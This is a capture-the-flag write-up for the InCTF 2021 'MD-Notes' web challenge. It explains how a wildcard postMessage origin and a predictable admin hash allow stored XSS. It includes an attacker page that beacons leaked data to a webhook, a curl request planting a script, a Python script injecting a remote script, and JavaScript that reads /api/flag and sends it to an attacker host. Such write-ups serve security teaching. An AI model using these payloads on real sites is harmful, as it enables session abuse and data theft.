Skip to main content

Yadhu's Blog

InCTF Internationals 2021 - MD-Notes Write-up

Table of Contents

tl;dr

  • Leak admin’s hash using wildcard target origin in postMessage or by calculating sha256('').
  • Create an XSS payload to read /api/flag and send it to attacker server.

Challenge Author: imp3ri0n

Challenge Points: 1000

# Introduction

A brief write-up of MD-Notes, web exploitation challenge from InCTF Internationals 2021. The source code of the challenge can be downloaded from here.

We’re provided with a markdown editor and an admin bot. The admin bot visits any link that is provided to it.

# Initial Analysis 🔎

Screenshot

When a note is previewed, a POST request is made to /api/filter which returns a Hash, sanitized text and raw input. Preview is rendered inside an iframe using the following script.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
window.addEventListener("message", (event) => {
    console.log("Previewing..")
	let raw = event.data

	fetch("/api/filter", {
		method: "POST",
		credentials: "include",
		body: JSON.stringify({
			raw: raw
		})
	})
    .then(resp => resp.json())
	.then(response => {
		console.log("Filtered")
		document.body.innerHTML = response.Sanitized
		window.parent.postMessage(response, "*"); 
	}); 
}, false);

The preview iframe sends back the filtered input (note that it contains Hash).

To save the post, a request has to be made to /api/create, which contains the hash and raw body. The created post is encoded if the hash does not belong to the admin.

1
2
3
4
5
6
7
8
    // Omitted for brevity
    if createpost.Hash != CONFIG.admin_hash {
        id , _ := uuid.NewV4()
        bucket = id.String()
        data = string(markdown.ToHTML([]byte(sanitize(data)), nil, nil))
    } else {
        data = string(markdown.ToHTML([]byte(data), nil, nil))
    }

There’s a /_debug endpoint that returns the admin_bucket. There is also /api/flag endpoint which returns the flag if admin token (which is in turn the flag) matches the cookie value.

# Exploit 💥

From the above observations, we can conclude that:

  1. We require XSS to read /api/flag.
  2. XSS is possible only with the admin’s hash.

## Retrieving the Hash

The admin’s hash can be retrieved in two ways:

  • By sending the bot to an attacker controlled website that contains an iframe pointing to /demo and sending a postMessage to it.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
    <iframe src="http://web.challenge.bi0s.in:5432/demo" id="frame"></iframe>
    <script>
        let frame = document.getElementById("frame");
        frame.onload = function ()
        {
            frame.contentWindow.postMessage("hello", "*");
        }

        window.addEventListener("message", (event) => {
            navigator.sendBeacon("https://webhookurl/", JSON.stringify(event.data))
        })  
    </script>
  • The value of hash is always equal to sha256('') since CONFIG.admin_token will be undefined. That means, the hash will be e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855.

## Creating an XSS payload

Once the hash is retrieved, it is trivial to create a post that contains an XSS payload.

1
2
3
curl 'http://web.challenge.bi0s.in:5432/api/create' \
-H 'Cookie: Token=a701285e-2860-4017-6d2b-24865006ba16;' \
--data-raw '{"Hash":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","Raw":"<script>alert(1)</script>"}'

Sending a request as above creates a post in admin’s bucket.

1
{"Status":"success", "PostId":"67912087343", "Bucket":"b5cd7ae0-7b50-7ae0-7ae0-47a03b473015"}

# Final Payload

exploit.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

import requests
from hashlib import sha256

url = "http://web.challenge.bi0s.in:5432"

payload = f"<script src='http://hostname/exploit.js'></script>"

hash = sha256(b'').hexdigest()
cookies = {"Token": "a701285e-2860-4017-6d2b-24865006ba16"}
data = {"Hash": hash, "Raw" : payload }
response = requests.post(url + "/api/create", cookies=cookies, json=data).json()

print ("Exploit created at: ", f'{url}/{response["Bucket"]}/{response["PostId"]}')

exploit.js

1
2
3
fetch("/api/flag",{credentials:'include'}).then((r)=>r.text()).then((d)=>{
        navigator.sendBeacon("http://hostname/", d)}
)

# Flag ✨

1
inctf{8d739_csrf_is_fun_3d587ec9}

Thanks for reading.

Cheers. 🍻